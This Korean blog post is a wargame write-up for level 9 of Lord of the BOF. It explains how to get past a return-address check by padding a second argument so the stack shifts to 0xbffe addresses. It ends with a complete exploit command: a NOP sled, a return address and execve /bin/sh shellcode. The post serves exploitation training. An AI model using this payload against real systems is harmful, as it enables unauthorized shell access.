ii4gsp
LOB - Level9 [troll -> vampire] 본문
47번째 바이트가 \xff가 아니여야 하고 48번째 바이트가 \xbf가 되게 해야한다.
ret의 주소가 0xbfff로 시작하면 \xff가 걸리기때문에 0xbfff이면 안된다.
파일을 /tmp 디렉토리에 복사해주고 gdb로 열어보자
strcpy() 함수가 호출되고 바로 다음 명령인 <main+137> 부분에 break point를 걸어주자
스택은 높은 주소부터 낮은 주소로 자라기 때문에 매개변수의 전달 값의 크기가 클수록 낮은 주소에 자리를 잡는다.
\xbf 조건을 맞춰주고 argv[2]에 A 십만개를 스택에 채워 낮은 주소로 이동하였다.
주소가 0xbffe로 시작한다.
아무 주소나 ret로 잡고 페이로드를 작성하면 된다.
payload
./vampire $(python -c 'print "\x90" * 44 + "\xe8\x75\xfe\xbf"') $(python -c 'print "\x90" * 100000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
'시스템 해킹 > LOB' 카테고리의 다른 글
LOB - Level11 [skeleton -> golem] (0) | 2020.01.19 |
---|---|
LOB - Level10 [vampire -> skeleton] (0) | 2020.01.18 |
LOB - Level8 [orge -> troll] (0) | 2020.01.16 |
LOB - Level7 [darkelf -> orge] (0) | 2020.01.15 |
LOB - Level6 [wolfman -> darkelf] (0) | 2020.01.14 |
Comments